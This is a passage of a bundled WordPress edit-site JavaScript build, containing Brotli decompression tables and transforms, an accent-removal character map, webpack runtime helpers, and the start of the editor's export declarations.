tmp = (uint8[len - 2] << 8) + uint8[len - 1]
parts.push(
lookup[tmp >> 10] +
lookup[(tmp >> 4) & 0x3F] +
lookup[(tmp << 2) & 0x3F] +
'='
)
}
return parts.join('')
}
},{}],9:[function(require,module,exports){
/* Copyright 2013 Google Inc. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Lookup tables to map prefix codes to value ranges. This is used during
decoding of the block lengths, literal insertion lengths and copy lengths.
*/
/* Represents the range of values belonging to a prefix code: */
/* [offset, offset + 2^nbits) */
function PrefixCodeRange(offset, nbits) {
this.offset = offset;
this.nbits = nbits;
}
exports.kBlockLengthPrefixCode = [
new PrefixCodeRange(1, 2), new PrefixCodeRange(5, 2), new PrefixCodeRange(9, 2), new PrefixCodeRange(13, 2),
new PrefixCodeRange(17, 3), new PrefixCodeRange(25, 3), new PrefixCodeRange(33, 3), new PrefixCodeRange(41, 3),
new PrefixCodeRange(49, 4), new PrefixCodeRange(65, 4), new PrefixCodeRange(81, 4), new PrefixCodeRange(97, 4),
new PrefixCodeRange(113, 5), new PrefixCodeRange(145, 5), new PrefixCodeRange(177, 5), new PrefixCodeRange(209, 5),
new PrefixCodeRange(241, 6), new PrefixCodeRange(305, 6), new PrefixCodeRange(369, 7), new PrefixCodeRange(497, 8),
new PrefixCodeRange(753, 9), new PrefixCodeRange(1265, 10), new PrefixCodeRange(2289, 11), new PrefixCodeRange(4337, 12),
new PrefixCodeRange(8433, 13), new PrefixCodeRange(16625, 24)
];
exports.kInsertLengthPrefixCode = [
new PrefixCodeRange(0, 0), new PrefixCodeRange(1, 0), new PrefixCodeRange(2, 0), new PrefixCodeRange(3, 0),
new PrefixCodeRange(4, 0), new PrefixCodeRange(5, 0), new PrefixCodeRange(6, 1), new PrefixCodeRange(8, 1),
new PrefixCodeRange(10, 2), new PrefixCodeRange(14, 2), new PrefixCodeRange(18, 3), new PrefixCodeRange(26, 3),
new PrefixCodeRange(34, 4), new PrefixCodeRange(50, 4), new PrefixCodeRange(66, 5), new PrefixCodeRange(98, 5),
new PrefixCodeRange(130, 6), new PrefixCodeRange(194, 7), new PrefixCodeRange(322, 8), new PrefixCodeRange(578, 9),
new PrefixCodeRange(1090, 10), new PrefixCodeRange(2114, 12), new PrefixCodeRange(6210, 14), new PrefixCodeRange(22594, 24),
];
exports.kCopyLengthPrefixCode = [
new PrefixCodeRange(2, 0), new PrefixCodeRange(3, 0), new PrefixCodeRange(4, 0), new PrefixCodeRange(5, 0),
new PrefixCodeRange(6, 0), new PrefixCodeRange(7, 0), new PrefixCodeRange(8, 0), new PrefixCodeRange(9, 0),
new PrefixCodeRange(10, 1), new PrefixCodeRange(12, 1), new PrefixCodeRange(14, 2), new PrefixCodeRange(18, 2),
new PrefixCodeRange(22, 3), new PrefixCodeRange(30, 3), new PrefixCodeRange(38, 4), new PrefixCodeRange(54, 4),
new PrefixCodeRange(70, 5), new PrefixCodeRange(102, 5), new PrefixCodeRange(134, 6), new PrefixCodeRange(198, 7),
new PrefixCodeRange(326, 8), new PrefixCodeRange(582, 9), new PrefixCodeRange(1094, 10), new PrefixCodeRange(2118, 24),
];
exports.kInsertRangeLut = [
0, 0, 8, 8, 0, 16, 8, 16, 16,
];
exports.kCopyRangeLut = [
0, 8, 0, 8, 16, 0, 16, 8, 16,
];
},{}],10:[function(require,module,exports){
function BrotliInput(buffer) {
this.buffer = buffer;
this.pos = 0;
}
BrotliInput.prototype.read = function(buf, i, count) {
if (this.pos + count > this.buffer.length) {
count = this.buffer.length - this.pos;
}
for (var p = 0; p < count; p++)
buf[i + p] = this.buffer[this.pos + p];
this.pos += count;
return count;
}
exports.BrotliInput = BrotliInput;
function BrotliOutput(buf) {
this.buffer = buf;
this.pos = 0;
}
BrotliOutput.prototype.write = function(buf, count) {
if (this.pos + count > this.buffer.length)
throw new Error('Output buffer is not large enough');
this.buffer.set(buf.subarray(0, count), this.pos);
this.pos += count;
return count;
};
exports.BrotliOutput = BrotliOutput;
},{}],11:[function(require,module,exports){
/* Copyright 2013 Google Inc. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Transformations on dictionary words.
*/
var BrotliDictionary = require('./dictionary');
var kIdentity = 0;
var kOmitLast1 = 1;
var kOmitLast2 = 2;
var kOmitLast3 = 3;
var kOmitLast4 = 4;
var kOmitLast5 = 5;
var kOmitLast6 = 6;
var kOmitLast7 = 7;
var kOmitLast8 = 8;
var kOmitLast9 = 9;
var kUppercaseFirst = 10;
var kUppercaseAll = 11;
var kOmitFirst1 = 12;
var kOmitFirst2 = 13;
var kOmitFirst3 = 14;
var kOmitFirst4 = 15;
var kOmitFirst5 = 16;
var kOmitFirst6 = 17;
var kOmitFirst7 = 18;
var kOmitFirst8 = 19;
var kOmitFirst9 = 20;
function Transform(prefix, transform, suffix) {
this.prefix = new Uint8Array(prefix.length);
this.transform = transform;
this.suffix = new Uint8Array(suffix.length);
for (var i = 0; i < prefix.length; i++)
this.prefix[i] = prefix.charCodeAt(i);
for (var i = 0; i < suffix.length; i++)
this.suffix[i] = suffix.charCodeAt(i);
}
var kTransforms = [
new Transform( "", kIdentity, "" ),
new Transform( "", kIdentity, " " ),
new Transform( " ", kIdentity, " " ),
new Transform( "", kOmitFirst1, "" ),
new Transform( "", kUppercaseFirst, " " ),
new Transform( "", kIdentity, " the " ),
new Transform( " ", kIdentity, "" ),
new Transform( "s ", kIdentity, " " ),
new Transform( "", kIdentity, " of " ),
new Transform( "", kUppercaseFirst, "" ),
new Transform( "", kIdentity, " and " ),
new Transform( "", kOmitFirst2, "" ),
new Transform( "", kOmitLast1, "" ),
new Transform( ", ", kIdentity, " " ),
new Transform( "", kIdentity, ", " ),
new Transform( " ", kUppercaseFirst, " " ),
new Transform( "", kIdentity, " in " ),
new Transform( "", kIdentity, " to " ),
new Transform( "e ", kIdentity, " " ),
new Transform( "", kIdentity, "\"" ),
new Transform( "", kIdentity, "." ),
new Transform( "", kIdentity, "\">" ),
new Transform( "", kIdentity, "\n" ),
new Transform( "", kOmitLast3, "" ),
new Transform( "", kIdentity, "]" ),
new Transform( "", kIdentity, " for " ),
new Transform( "", kOmitFirst3, "" ),
new Transform( "", kOmitLast2, "" ),
new Transform( "", kIdentity, " a " ),
new Transform( "", kIdentity, " that " ),
new Transform( " ", kUppercaseFirst, "" ),
new Transform( "", kIdentity, ". " ),
new Transform( ".", kIdentity, "" ),
new Transform( " ", kIdentity, ", " ),
new Transform( "", kOmitFirst4, "" ),
new Transform( "", kIdentity, " with " ),
new Transform( "", kIdentity, "'" ),
new Transform( "", kIdentity, " from " ),
new Transform( "", kIdentity, " by " ),
new Transform( "", kOmitFirst5, "" ),
new Transform( "", kOmitFirst6, "" ),
new Transform( " the ", kIdentity, "" ),
new Transform( "", kOmitLast4, "" ),
new Transform( "", kIdentity, ". The " ),
new Transform( "", kUppercaseAll, "" ),
new Transform( "", kIdentity, " on " ),
new Transform( "", kIdentity, " as " ),
new Transform( "", kIdentity, " is " ),
new Transform( "", kOmitLast7, "" ),
new Transform( "", kOmitLast1, "ing " ),
new Transform( "", kIdentity, "\n\t" ),
new Transform( "", kIdentity, ":" ),
new Transform( " ", kIdentity, ". " ),
new Transform( "", kIdentity, "ed " ),
new Transform( "", kOmitFirst9, "" ),
new Transform( "", kOmitFirst7, "" ),
new Transform( "", kOmitLast6, "" ),
new Transform( "", kIdentity, "(" ),
new Transform( "", kUppercaseFirst, ", " ),
new Transform( "", kOmitLast8, "" ),
new Transform( "", kIdentity, " at " ),
new Transform( "", kIdentity, "ly " ),
new Transform( " the ", kIdentity, " of " ),
new Transform( "", kOmitLast5, "" ),
new Transform( "", kOmitLast9, "" ),
new Transform( " ", kUppercaseFirst, ", " ),
new Transform( "", kUppercaseFirst, "\"" ),
new Transform( ".", kIdentity, "(" ),
new Transform( "", kUppercaseAll, " " ),
new Transform( "", kUppercaseFirst, "\">" ),
new Transform( "", kIdentity, "=\"" ),
new Transform( " ", kIdentity, "." ),
new Transform( ".com/", kIdentity, "" ),
new Transform( " the ", kIdentity, " of the " ),
new Transform( "", kUppercaseFirst, "'" ),
new Transform( "", kIdentity, ". This " ),
new Transform( "", kIdentity, "," ),
new Transform( ".", kIdentity, " " ),
new Transform( "", kUppercaseFirst, "(" ),
new Transform( "", kUppercaseFirst, "." ),
new Transform( "", kIdentity, " not " ),
new Transform( " ", kIdentity, "=\"" ),
new Transform( "", kIdentity, "er " ),
new Transform( " ", kUppercaseAll, " " ),
new Transform( "", kIdentity, "al " ),
new Transform( " ", kUppercaseAll, "" ),
new Transform( "", kIdentity, "='" ),
new Transform( "", kUppercaseAll, "\"" ),
new Transform( "", kUppercaseFirst, ". " ),
new Transform( " ", kIdentity, "(" ),
new Transform( "", kIdentity, "ful " ),
new Transform( " ", kUppercaseFirst, ". " ),
new Transform( "", kIdentity, "ive " ),
new Transform( "", kIdentity, "less " ),
new Transform( "", kUppercaseAll, "'" ),
new Transform( "", kIdentity, "est " ),
new Transform( " ", kUppercaseFirst, "." ),
new Transform( "", kUppercaseAll, "\">" ),
new Transform( " ", kIdentity, "='" ),
new Transform( "", kUppercaseFirst, "," ),
new Transform( "", kIdentity, "ize " ),
new Transform( "", kUppercaseAll, "." ),
new Transform( "\xc2\xa0", kIdentity, "" ),
new Transform( " ", kIdentity, "," ),
new Transform( "", kUppercaseFirst, "=\"" ),
new Transform( "", kUppercaseAll, "=\"" ),
new Transform( "", kIdentity, "ous " ),
new Transform( "", kUppercaseAll, ", " ),
new Transform( "", kUppercaseFirst, "='" ),
new Transform( " ", kUppercaseFirst, "," ),
new Transform( " ", kUppercaseAll, "=\"" ),
new Transform( " ", kUppercaseAll, ", " ),
new Transform( "", kUppercaseAll, "," ),
new Transform( "", kUppercaseAll, "(" ),
new Transform( "", kUppercaseAll, ". " ),
new Transform( " ", kUppercaseAll, "." ),
new Transform( "", kUppercaseAll, "='" ),
new Transform( " ", kUppercaseAll, ". " ),
new Transform( " ", kUppercaseFirst, "=\"" ),
new Transform( " ", kUppercaseAll, "='" ),
new Transform( " ", kUppercaseFirst, "='" )
];
exports.kTransforms = kTransforms;
exports.kNumTransforms = kTransforms.length;
function ToUpperCase(p, i) {
if (p[i] < 0xc0) {
if (p[i] >= 97 && p[i] <= 122) {
p[i] ^= 32;
}
return 1;
}
/* An overly simplified uppercasing model for utf-8. */
if (p[i] < 0xe0) {
p[i + 1] ^= 32;
return 2;
}
/* An arbitrary transform for three byte characters. */
p[i + 2] ^= 5;
return 3;
}
exports.transformDictionaryWord = function(dst, idx, word, len, transform) {
var prefix = kTransforms[transform].prefix;
var suffix = kTransforms[transform].suffix;
var t = kTransforms[transform].transform;
var skip = t < kOmitFirst1 ? 0 : t - (kOmitFirst1 - 1);
var i = 0;
var start_idx = idx;
var uppercase;
if (skip > len) {
skip = len;
}
var prefix_pos = 0;
while (prefix_pos < prefix.length) {
dst[idx++] = prefix[prefix_pos++];
}
word += skip;
len -= skip;
if (t <= kOmitLast9) {
len -= t;
}
for (i = 0; i < len; i++) {
dst[idx++] = BrotliDictionary.dictionary[word + i];
}
uppercase = idx - len;
if (t === kUppercaseFirst) {
ToUpperCase(dst, uppercase);
} else if (t === kUppercaseAll) {
while (len > 0) {
var step = ToUpperCase(dst, uppercase);
uppercase += step;
len -= step;
}
}
var suffix_pos = 0;
while (suffix_pos < suffix.length) {
dst[idx++] = suffix[suffix_pos++];
}
return idx - start_idx;
}
},{"./dictionary":6}],12:[function(require,module,exports){
module.exports = require('./dec/decode').BrotliDecompressBuffer;
},{"./dec/decode":3}]},{},[12])(12)
});
/* eslint-enable */
/***/ }),
/***/ 9681:
/***/ ((module) => {
var characterMap = {
"À": "A",
"Á": "A",
"Â": "A",
"Ã": "A",
"Ä": "A",
"Å": "A",
"Ấ": "A",
"Ắ": "A",
"Ẳ": "A",
"Ẵ": "A",
"Ặ": "A",
"Æ": "AE",
"Ầ": "A",
"Ằ": "A",
"Ȃ": "A",
"Ả": "A",
"Ạ": "A",
"Ẩ": "A",
"Ẫ": "A",
"Ậ": "A",
"Ç": "C",
"Ḉ": "C",
"È": "E",
"É": "E",
"Ê": "E",
"Ë": "E",
"Ế": "E",
"Ḗ": "E",
"Ề": "E",
"Ḕ": "E",
"Ḝ": "E",
"Ȇ": "E",
"Ẻ": "E",
"Ẽ": "E",
"Ẹ": "E",
"Ể": "E",
"Ễ": "E",
"Ệ": "E",
"Ì": "I",
"Í": "I",
"Î": "I",
"Ï": "I",
"Ḯ": "I",
"Ȋ": "I",
"Ỉ": "I",
"Ị": "I",
"Ð": "D",
"Ñ": "N",
"Ò": "O",
"Ó": "O",
"Ô": "O",
"Õ": "O",
"Ö": "O",
"Ø": "O",
"Ố": "O",
"Ṍ": "O",
"Ṓ": "O",
"Ȏ": "O",
"Ỏ": "O",
"Ọ": "O",
"Ổ": "O",
"Ỗ": "O",
"Ộ": "O",
"Ờ": "O",
"Ở": "O",
"Ỡ": "O",
"Ớ": "O",
"Ợ": "O",
"Ù": "U",
"Ú": "U",
"Û": "U",
"Ü": "U",
"Ủ": "U",
"Ụ": "U",
"Ử": "U",
"Ữ": "U",
"Ự": "U",
"Ý": "Y",
"à": "a",
"á": "a",
"â": "a",
"ã": "a",
"ä": "a",
"å": "a",
"ấ": "a",
"ắ": "a",
"ẳ": "a",
"ẵ": "a",
"ặ": "a",
"æ": "ae",
"ầ": "a",
"ằ": "a",
"ȃ": "a",
"ả": "a",
"ạ": "a",
"ẩ": "a",
"ẫ": "a",
"ậ": "a",
"ç": "c",
"ḉ": "c",
"è": "e",
"é": "e",
"ê": "e",
"ë": "e",
"ế": "e",
"ḗ": "e",
"ề": "e",
"ḕ": "e",
"ḝ": "e",
"ȇ": "e",
"ẻ": "e",
"ẽ": "e",
"ẹ": "e",
"ể": "e",
"ễ": "e",
"ệ": "e",
"ì": "i",
"í": "i",
"î": "i",
"ï": "i",
"ḯ": "i",
"ȋ": "i",
"ỉ": "i",
"ị": "i",
"ð": "d",
"ñ": "n",
"ò": "o",
"ó": "o",
"ô": "o",
"õ": "o",
"ö": "o",
"ø": "o",
"ố": "o",
"ṍ": "o",
"ṓ": "o",
"ȏ": "o",
"ỏ": "o",
"ọ": "o",
"ổ": "o",
"ỗ": "o",
"ộ": "o",
"ờ": "o",
"ở": "o",
"ỡ": "o",
"ớ": "o",
"ợ": "o",
"ù": "u",
"ú": "u",
"û": "u",
"ü": "u",
"ủ": "u",
"ụ": "u",
"ử": "u",
"ữ": "u",
"ự": "u",
"ý": "y",
"ÿ": "y",
"Ā": "A",
"ā": "a",
"Ă": "A",
"ă": "a",
"Ą": "A",
"ą": "a",
"Ć": "C",
"ć": "c",
"Ĉ": "C",
"ĉ": "c",
"Ċ": "C",
"ċ": "c",
"Č": "C",
"č": "c",
"C̆": "C",
"c̆": "c",
"Ď": "D",
"ď": "d",
"Đ": "D",
"đ": "d",
"Ē": "E",
"ē": "e",
"Ĕ": "E",
"ĕ": "e",
"Ė": "E",
"ė": "e",
"Ę": "E",
"ę": "e",
"Ě": "E",
"ě": "e",
"Ĝ": "G",
"Ǵ": "G",
"ĝ": "g",
"ǵ": "g",
"Ğ": "G",
"ğ": "g",
"Ġ": "G",
"ġ": "g",
"Ģ": "G",
"ģ": "g",
"Ĥ": "H",
"ĥ": "h",
"Ħ": "H",
"ħ": "h",
"Ḫ": "H",
"ḫ": "h",
"Ĩ": "I",
"ĩ": "i",
"Ī": "I",
"ī": "i",
"Ĭ": "I",
"ĭ": "i",
"Į": "I",
"į": "i",
"İ": "I",
"ı": "i",
"IJ": "IJ",
"ij": "ij",
"Ĵ": "J",
"ĵ": "j",
"Ķ": "K",
"ķ": "k",
"Ḱ": "K",
"ḱ": "k",
"K̆": "K",
"k̆": "k",
"Ĺ": "L",
"ĺ": "l",
"Ļ": "L",
"ļ": "l",
"Ľ": "L",
"ľ": "l",
"Ŀ": "L",
"ŀ": "l",
"Ł": "l",
"ł": "l",
"Ḿ": "M",
"ḿ": "m",
"M̆": "M",
"m̆": "m",
"Ń": "N",
"ń": "n",
"Ņ": "N",
"ņ": "n",
"Ň": "N",
"ň": "n",
"ʼn": "n",
"N̆": "N",
"n̆": "n",
"Ō": "O",
"ō": "o",
"Ŏ": "O",
"ŏ": "o",
"Ő": "O",
"ő": "o",
"Œ": "OE",
"œ": "oe",
"P̆": "P",
"p̆": "p",
"Ŕ": "R",
"ŕ": "r",
"Ŗ": "R",
"ŗ": "r",
"Ř": "R",
"ř": "r",
"R̆": "R",
"r̆": "r",
"Ȓ": "R",
"ȓ": "r",
"Ś": "S",
"ś": "s",
"Ŝ": "S",
"ŝ": "s",
"Ş": "S",
"Ș": "S",
"ș": "s",
"ş": "s",
"Š": "S",
"š": "s",
"Ţ": "T",
"ţ": "t",
"ț": "t",
"Ț": "T",
"Ť": "T",
"ť": "t",
"Ŧ": "T",
"ŧ": "t",
"T̆": "T",
"t̆": "t",
"Ũ": "U",
"ũ": "u",
"Ū": "U",
"ū": "u",
"Ŭ": "U",
"ŭ": "u",
"Ů": "U",
"ů": "u",
"Ű": "U",
"ű": "u",
"Ų": "U",
"ų": "u",
"Ȗ": "U",
"ȗ": "u",
"V̆": "V",
"v̆": "v",
"Ŵ": "W",
"ŵ": "w",
"Ẃ": "W",
"ẃ": "w",
"X̆": "X",
"x̆": "x",
"Ŷ": "Y",
"ŷ": "y",
"Ÿ": "Y",
"Y̆": "Y",
"y̆": "y",
"Ź": "Z",
"ź": "z",
"Ż": "Z",
"ż": "z",
"Ž": "Z",
"ž": "z",
"ſ": "s",
"ƒ": "f",
"Ơ": "O",
"ơ": "o",
"Ư": "U",
"ư": "u",
"Ǎ": "A",
"ǎ": "a",
"Ǐ": "I",
"ǐ": "i",
"Ǒ": "O",
"ǒ": "o",
"Ǔ": "U",
"ǔ": "u",
"Ǖ": "U",
"ǖ": "u",
"Ǘ": "U",
"ǘ": "u",
"Ǚ": "U",
"ǚ": "u",
"Ǜ": "U",
"ǜ": "u",
"Ứ": "U",
"ứ": "u",
"Ṹ": "U",
"ṹ": "u",
"Ǻ": "A",
"ǻ": "a",
"Ǽ": "AE",
"ǽ": "ae",
"Ǿ": "O",
"ǿ": "o",
"Þ": "TH",
"þ": "th",
"Ṕ": "P",
"ṕ": "p",
"Ṥ": "S",
"ṥ": "s",
"X́": "X",
"x́": "x",
"Ѓ": "Г",
"ѓ": "г",
"Ќ": "К",
"ќ": "к",
"A̋": "A",
"a̋": "a",
"E̋": "E",
"e̋": "e",
"I̋": "I",
"i̋": "i",
"Ǹ": "N",
"ǹ": "n",
"Ồ": "O",
"ồ": "o",
"Ṑ": "O",
"ṑ": "o",
"Ừ": "U",
"ừ": "u",
"Ẁ": "W",
"ẁ": "w",
"Ỳ": "Y",
"ỳ": "y",
"Ȁ": "A",
"ȁ": "a",
"Ȅ": "E",
"ȅ": "e",
"Ȉ": "I",
"ȉ": "i",
"Ȍ": "O",
"ȍ": "o",
"Ȑ": "R",
"ȑ": "r",
"Ȕ": "U",
"ȕ": "u",
"B̌": "B",
"b̌": "b",
"Č̣": "C",
"č̣": "c",
"Ê̌": "E",
"ê̌": "e",
"F̌": "F",
"f̌": "f",
"Ǧ": "G",
"ǧ": "g",
"Ȟ": "H",
"ȟ": "h",
"J̌": "J",
"ǰ": "j",
"Ǩ": "K",
"ǩ": "k",
"M̌": "M",
"m̌": "m",
"P̌": "P",
"p̌": "p",
"Q̌": "Q",
"q̌": "q",
"Ř̩": "R",
"ř̩": "r",
"Ṧ": "S",
"ṧ": "s",
"V̌": "V",
"v̌": "v",
"W̌": "W",
"w̌": "w",
"X̌": "X",
"x̌": "x",
"Y̌": "Y",
"y̌": "y",
"A̧": "A",
"a̧": "a",
"B̧": "B",
"b̧": "b",
"Ḑ": "D",
"ḑ": "d",
"Ȩ": "E",
"ȩ": "e",
"Ɛ̧": "E",
"ɛ̧": "e",
"Ḩ": "H",
"ḩ": "h",
"I̧": "I",
"i̧": "i",
"Ɨ̧": "I",
"ɨ̧": "i",
"M̧": "M",
"m̧": "m",
"O̧": "O",
"o̧": "o",
"Q̧": "Q",
"q̧": "q",
"U̧": "U",
"u̧": "u",
"X̧": "X",
"x̧": "x",
"Z̧": "Z",
"z̧": "z",
"й":"и",
"Й":"И",
"ё":"е",
"Ё":"Е",
};
var chars = Object.keys(characterMap).join('|');
var allAccents = new RegExp(chars, 'g');
var firstAccent = new RegExp(chars, '');
function matcher(match) {
return characterMap[match];
}
var removeAccents = function(string) {
return string.replace(allAccents, matcher);
};
var hasAccents = function(string) {
return !!string.match(firstAccent);
};
module.exports = removeAccents;
module.exports.has = hasAccents;
module.exports.remove = removeAccents;
/***/ })
/******/ });
/************************************************************************/
/******/ // The module cache
/******/ var __webpack_module_cache__ = {};
/******/
/******/ // The require function
/******/ function __webpack_require__(moduleId) {
/******/ // Check if module is in cache
/******/ var cachedModule = __webpack_module_cache__[moduleId];
/******/ if (cachedModule !== undefined) {
/******/ return cachedModule.exports;
/******/ }
/******/ // Create a new module (and put it into the cache)
/******/ var module = __webpack_module_cache__[moduleId] = {
/******/ // no module.id needed
/******/ // no module.loaded needed
/******/ exports: {}
/******/ };
/******/
/******/ // Execute the module function
/******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__);
/******/
/******/ // Return the exports of the module
/******/ return module.exports;
/******/ }
/******/
/************************************************************************/
/******/ /* webpack/runtime/compat get default export */
/******/ (() => {
/******/ // getDefaultExport function for compatibility with non-harmony modules
/******/ __webpack_require__.n = (module) => {
/******/ var getter = module && module.__esModule ?
/******/ () => (module['default']) :
/******/ () => (module);
/******/ __webpack_require__.d(getter, { a: getter });
/******/ return getter;
/******/ };
/******/ })();
/******/
/******/ /* webpack/runtime/create fake namespace object */
/******/ (() => {
/******/ var getProto = Object.getPrototypeOf ? (obj) => (Object.getPrototypeOf(obj)) : (obj) => (obj.__proto__);
/******/ var leafPrototypes;
/******/ // create a fake namespace object
/******/ // mode & 1: value is a module id, require it
/******/ // mode & 2: merge all properties of value into the ns
/******/ // mode & 4: return value when already ns object
/******/ // mode & 16: return value when it's Promise-like
/******/ // mode & 8|1: behave like require
/******/ __webpack_require__.t = function(value, mode) {
/******/ if(mode & 1) value = this(value);
/******/ if(mode & 8) return value;
/******/ if(typeof value === 'object' && value) {
/******/ if((mode & 4) && value.__esModule) return value;
/******/ if((mode & 16) && typeof value.then === 'function') return value;
/******/ }
/******/ var ns = Object.create(null);
/******/ __webpack_require__.r(ns);
/******/ var def = {};
/******/ leafPrototypes = leafPrototypes || [null, getProto({}), getProto([]), getProto(getProto)];
/******/ for(var current = mode & 2 && value; typeof current == 'object' && !~leafPrototypes.indexOf(current); current = getProto(current)) {
/******/ Object.getOwnPropertyNames(current).forEach((key) => (def[key] = () => (value[key])));
/******/ }
/******/ def['default'] = () => (value);
/******/ __webpack_require__.d(ns, def);
/******/ return ns;
/******/ };
/******/ })();
/******/
/******/ /* webpack/runtime/define property getters */
/******/ (() => {
/******/ // define getter functions for harmony exports
/******/ __webpack_require__.d = (exports, definition) => {
/******/ for(var key in definition) {
/******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ }
/******/ }
/******/ };
/******/ })();
/******/
/******/ /* webpack/runtime/hasOwnProperty shorthand */
/******/ (() => {
/******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ })();
/******/
/******/ /* webpack/runtime/make namespace object */
/******/ (() => {
/******/ // define __esModule on exports
/******/ __webpack_require__.r = (exports) => {
/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ }
/******/ Object.defineProperty(exports, '__esModule', { value: true });
/******/ };
/******/ })();
/******/
/************************************************************************/
var __webpack_exports__ = {};
// This entry needs to be wrapped in an IIFE because it needs to be in strict mode.
(() => {
"use strict";
// ESM COMPAT FLAG
__webpack_require__.r(__webpack_exports__);
// EXPORTS
__webpack_require__.d(__webpack_exports__, {
PluginMoreMenuItem: () => (/* reexport */ PluginMoreMenuItem),
PluginSidebar: () => (/* reexport */ PluginSidebar),
PluginSidebarMoreMenuItem: () => (/* reexport */ PluginSidebarMoreMenuItem),
PluginTemplateSettingPanel: () => (/* reexport */ plugin_template_setting_panel),
initializeEditor: () => (/* binding */ initializeEditor),
initializePostsDashboard: () => (/* reexport */ initializePostsDashboard),
reinitializeEditor: () => (/* binding */ reinitializeEditor),
store: () => (/* reexport */ store)
});
// NAMESPACE OBJECT: ./node_modules/@wordpress/edit-site/build-module/store/actions.js
var actions_namespaceObject = {};
__webpack_require__.r(actions_namespaceObject);
__webpack_require__.d(actions_namespaceObject, {
__experimentalSetPreviewDeviceType: () => (__experimentalSetPreviewDeviceType),
addTemplate: () => (addTemplate),
closeGeneralSidebar: () => (closeGeneralSidebar),
openGeneralSidebar: () => (openGeneralSidebar),
openNavigationPanelToMenu: () => (openNavigationPanelToMenu),
removeTemplate: () => (removeTemplate),
revertTemplate: () => (revertTemplate),
setEditedEntity: () => (setEditedEntity),
setEditedPostContext: () => (setEditedPostContext),
setHasPageContentFocus: () => (setHasPageContentFocus),
setHomeTemplateId: () => (setHomeTemplateId),
setIsInserterOpened: () => (setIsInserterOpened),
setIsListViewOpened: () => (setIsListViewOpened),
setIsNavigationPanelOpened: () => (setIsNavigationPanelOpened),
setIsSaveViewOpened: () => (setIsSaveViewOpened),
setNavigationMenu: () => (setNavigationMenu),
setNavigationPanelActiveMenu: () => (setNavigationPanelActiveMenu),
setPage: () => (setPage),
setTemplate: () => (setTemplate),
setTemplatePart: () => (setTemplatePart),
switchEditorMode: () => (switchEditorMode),
toggleDistractionFree: () => (toggleDistractionFree),
toggleFeature: () => (toggleFeature),
updateSettings: () => (updateSettings)
});
// NAMESPACE OBJECT: ./node_modules/@wordpress/edit-site/build-module/store/private-actions.js
var private_actions_namespaceObject = {};
__webpack_require__.r(private_actions_namespaceObject);
__webpack_require__.d(private_actions_namespaceObject, {
registerRoute: () => (registerRoute),
setEditorCanvasContainerView: () => (setEditorCanvasContainerView),
unregisterRoute: () => (unregisterRoute)
});
// NAMESPACE OBJECT: ./node_modules/@wordpress/edit-site/build-module/store/selectors.js
var selectors_namespaceObject = {};
__webpack_require__.r(selectors_namespaceObject);
__webpack_require__.d(selectors_namespaceObject, {
__experimentalGetInsertionPoint: () => (__experimentalGetInsertionPoint),
__experimentalGetPreviewDeviceType: () => (__experimentalGetPreviewDeviceType),
getCanUserCreateMedia: () => (getCanUserCreateMedia),
getCurrentTemplateNavigationPanelSubMenu: () => (getCurrentTemplateNavigationPanelSubMenu),
getCurrentTemplateTemplateParts: () => (getCurrentTemplateTemplateParts),
getEditedPostContext: () => (getEditedPostContext),
getEditedPostId: () => (getEditedPostId),
getEditedPostType: () => (getEditedPostType),
getEditorMode: () => (getEditorMode),
getHomeTemplateId: () => (getHomeTemplateId),
getNavigationPanelActiveMenu: () => (getNavigationPanelActiveMenu),
getPage: () => (getPage),
getReusableBlocks: () => (getReusableBlocks),
getSettings: () => (getSettings),
hasPageContentFocus: () => (hasPageContentFocus),
isFeatureActive: () => (isFeatureActive),
isInserterOpened: () => (isInserterOpened),
isListViewOpened: () => (isListViewOpened),
isNavigationOpened: () => (isNavigationOpened),
isPage: () => (isPage),
isSaveViewOpened: () => (isSaveViewOpened)
});
// NAMESPACE OBJECT: ./node_modules/@wordpress/edit-site/build-module/store/private-selectors.js
var private_selectors_namespaceObject = {};
__webpack_require__.r(private_selectors_namespaceObject);
__webpack_require__.d(private_selectors_namespaceObject, {
getEditorCanvasContainerView: () => (getEditorCanvasContainerView),
getRoutes: () => (getRoutes)
});
;// external ["wp","blocks"]
const external_wp_blocks_namespaceObject = window["wp"]["blocks"];
;// external ["wp","blockLibrary"]
const external_wp_blockLibrary_namespaceObject = window["wp"]["blockLibrary"];
;// external ["wp","data"]
const external_wp_data_namespaceObject = window["wp"]["data"];
;// external ["wp","deprecated"]
const external_wp_deprecated_namespaceObject = window["wp"]["deprecated"];
var external_wp_deprecated_default = /*#__PURE__*/__webpack_require__.n(external_wp_deprecated_namespaceObject);
;// external ["wp","element"]
const external_wp_element_namespaceObject = window["wp"]["element"];
;// external ["wp","editor"]
const external_wp_editor_namespaceObject = window["wp"]["editor"];
;// external ["wp","preferences"]
const external_wp_preferences_namespaceObject = window["wp"]["preferences"];
;// external ["wp","widgets"]
const external_wp_widgets_namespaceObject = window["wp"]["widgets"];
;// external ["wp","hooks"]
const external_wp_hooks_namespaceObject = window["wp"]["hooks"];
;// external ["wp","compose"]
const external_wp_compose_namespaceObject = window["wp"]["compose"];
;// external ["wp","blockEditor"]
const external_wp_blockEditor_namespaceObject = window["wp"]["blockEditor"];
;// external ["wp","components"]
const external_wp_components_namespaceObject = window["wp"]["components"];
;// external ["wp","i18n"]
const external_wp_i18n_namespaceObject = window["wp"]["i18n"];
;// external ["wp","notices"]
const external_wp_notices_namespaceObject = window["wp"]["notices"];
;// external ["wp","coreData"]
